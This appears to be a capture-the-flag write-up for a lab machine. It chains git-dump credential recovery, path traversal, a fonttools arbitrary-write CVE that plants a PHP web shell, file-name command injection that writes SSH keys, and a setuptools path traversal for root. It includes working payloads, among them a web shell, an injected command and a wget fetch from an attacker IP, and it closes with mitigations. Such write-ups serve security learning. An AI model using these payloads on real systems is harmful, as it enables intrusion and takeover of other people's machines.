Overview
The machine starts by Simple enumeration that discovers portal that has path traversal that lead to source code leak
reading that source code revealed an attack vector combined with CVE with arbitrary files write
after that found a vulnerable version of setuptools that lead to path traversal and wrote a root ssh key to get root shell
Enumeration
as always start with nmap
Nmap scan report for 10.129.21.246
Host is up, received echo-reply ttl 63 (0.29s latency).
Scanned at 2026-04-02 17:01:15 EET for 15s
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGaryOd6/hnIT9XPtT08U3YwVShW2VnKYno4lQqs0BQ6ePwGDjLxPcQHcEiiKWd0/mvv39jxHUQAgt069vYV8ag=
| 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
| _ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILtP5zMi+IdeNc7bOdDPDwFv+HWDAUakOFYbEIvNSp2z
80/tcp open http syn-ack ttl 63 nginx 1.22.1
| _http-server-header: nginx/1.22.1
| _http-title: Did not follow redirect to http://variatype.htb/
| http-methods:
| _ Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
and we got only two ports open so lets see what we can do
this is a font generator that uses fonttools engine which is probably vulnerable to CVE-2025-66034
which is arbitrary file write and XML path traversal that can let us write files to the system
now font tools usually needs a dashboard to view and download your submissions after creation but when i tried to look for something like variatype.htb/dashboard.php or something it didn't work so I'm sure it is under some other subdomain or vhost so lets start our fuzzing
and we directly find it under portal so lets add those to our host files
variatype.htb portal.variatype.htb 10.129.21.246
now by going to the portal and trying to enumerate usernames (it show neutral error message for username and password attempts) so lets try to enumerate that vhost and see what we can find

ffuf -u http://portal.variatype.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt
and we got git repo exposed

Exposed git HEAD
so lets download this git repo and look what we can find
i use a tool called git-dumper
the good about this tool that it fetches all objects recursively, analyzing each commits to find their parents
so now lets see what we can find in that repo
i always start by looking at the commit history and commit messages
now when i did that git log --oneline it didn't show anything interesting and that's because some time people use git reset for example which moves the branch pointer away from that commit, effectively orphaning it
now to make sure we see all logs we either do git log --all or we read the logs/HEAD directly and when i did that i found that at some point there was some hardcoded credentials and got removed so lets get that commit hash 6f021da and got back to that commit
git show 6f021da
and when i did that i got the creds
now lets login to the portal using those creds
and we get nothing cause we didn't generate any fonts yet so lets see what is the issue of that CVE with fonttools
one thing i didn't like about this machine that i had to guess that this tool is vulnerable and act on it kinda CTF-ish for me some other people don't mind it but i just wanted to note that
Path traversal
after giving it a sample .designspace and multiple ttf files it showed up on our dashboard and it got a download button this download button calls download.php?f=filename
and when i attempted to path traversal it i could read the /etc/passwd file
now the attack path is clear to me
- we read
download.phpto find where are files stored before download - we write a file using the CVE affecting
fonttoolsmaybe a web shell - and then we get command execution using that shell
and we find the path at /var/www/portal.variatype.htb/public/files
now lets try to write the file
CVE-2025-66034
Affected lines
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file write
lets just understand what does font-variable does?
- it just takes multiple
ttffiles and adesignspacefile and get you a single font file instead of multiple ones
the advisory gives us this to create a sample ttf files (small ones) cause nginx caps the request to 1MB and some fonts are bigger than that
#!/usr/bin/env python3
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0))
pen.lineTo((500, 0))
pen.lineTo((500, 500))
pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
if __name__ == '__main__':
os.chdir(os.path.dirname(os.path.abspath(__file__)))
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)
now lets look at the malicious.designspace from the advisory
we got a filename that we use to control where the file will be written to, and the file content that we write using CDATA just to tell the XML to treat the characters like > as a plain characters
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']);?>]]]]><![CDATA[>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
now lets send this malicious with the sample ttf to the site and see what we can do and we get a 200 ok
now lets call that file
the /files you could've guess on your own cause it just lies at public or i already found it when i was enumerating directories at the start
so now we got a command execution so lets try to get a shell
one thing that I'd like to try when there is some kind of file processing on the target is a file name command injection
usually a tool does something for your using a file like this tool file so if you called the file something like this $(command) so it does tool $(command) we get a command execution in the context of the running tool
and why did i attempt that cause the shell we got was as www-data and when we looked earlier there is a home directory called steve so this is our target which isn't readable by www-data which makes sense
now what if we can write an ssh key to that directory using the method we just discussed lets try that
first i create ssh keys
ssh-keygen -f steve
now i will inject that into the file name as a command to be executed and written to the home directory
I will rely on zip but i will call the file .ttf to make sure it doesn't cause any error on processing cause it expects those type of files
import zipfile
pub_key = "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIHU9WaT7ZM03T9XQ8u5LtMW742UXCLay4NcFIEhKHzP8 jimmex@attacker"
evil_name = f'$(mkdir -p /home/steve/.ssh && echo "{pub_key}" >> /home/steve/.ssh/authorized_keys).ttf'
with zipfile.ZipFile('evil.zip', 'w') as z:
z.writestr(evil_name, 'data')
print("done")
then lets get an evil file python3 zip.py and we got that evil.zip
now lets start an HTTP server on our machine python3 -m http.server 8000
and then lets get that evil.zip to the target
curl http://portal.variatype.htb/files/shell.php?cmd='wget%20http://10.10.16.173:8000/evil.zip%20-O%20/var/www/portal.variatype.htb/public/files/evil.zip'
give it like 2 minutes until it gets processed (I'm sure that there is some kind of processing but i don't know with what or takes how long) so just wait
and now when we try ssh -i steve steve@variatype.htb we get in
now we got steve and user.txt
now lets look around
Just a quick stop
when we logged in as steve we got all the puzzle pieces
there is two different apps, php app for the portal and a python app for the /process
now the uploaded files are placed at '/tmp/variabype_uploads'
and the download path is /var/www/portal.variatype.htb/public/files and we need some kind of moving between those paths
and if we looked at logs/font_pipeline at steve's home directory
the app uses fontforge for processing then tries to move the files
and that's how we got the subcommand injection
now back to our way to root
shell as root
as usual we start by sudo -l
and we can run this install-validator so lets look at its source code
i will just remove the unrelated stuff
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url): # validates URL noraml stuff
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR) #this is the issue
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
<call_functions_snip>
lets check first the setuptools version
and it is vulnerable to CVE-2025-47273
the issue with PackageIndex.download that it takes the file name this way
- it decodes whatever after the first URL root /
- and it names it that way
so if i created a file on my device under /root/something and then called the script on http://myip/%2Froot%2Fsomething
the script will get this %2Froot%2Fsomething and it decodes it to /root/something and now when it tries to name the file that way it writes to the absolute path
so we kinda replicating the last attack in a different way so lets create this dir
/root/.ssh/authorized_keys
generate a key ssh-keygen -f root and place the public key in the authorized_keys under the path we created in the last step
now lets open an HTTP server (care where you will open it)
we need the server to listen where the root directory exists not where the authorized_keys exist so when we call it, it writes to that path
don't add the authorized_keys to you actual root directory just put it in a new directory called root cause it might cause issues when we try to call it from our machine
so here is my structure
and lets run the script
now lets try to ssh
and we got root
Mitigation
- Never hardcode credentials in the source code and use
.env.localfiles instead (this isn't perfect but they are so much better than hardcoded) - if you did a commit that contains credentials use a repo cleaner to clean the history, use something like
BFGso much easier thangit filter-branch - make sure you sanitize your user input at endpoint like
download.php - upgrade your
fonttoolsto a non-vulnerable version - also add the upload path files as env variables (safer) in case the source code got leaked somehow
- in the processing pipe-line make sure that the file is a valid type
.ttffor example before you admit it as input for any CLI command - upgrade to patched version from
setuptoolsto prevent path traversal
Resources
- CVE-2025-66034: https://www.miggo.io/vulnerability-database/cve/CVE-2025-66034
- CVE-2025-47273: https://github.com/ahmedreda38/CVE-2025-47273-PoC
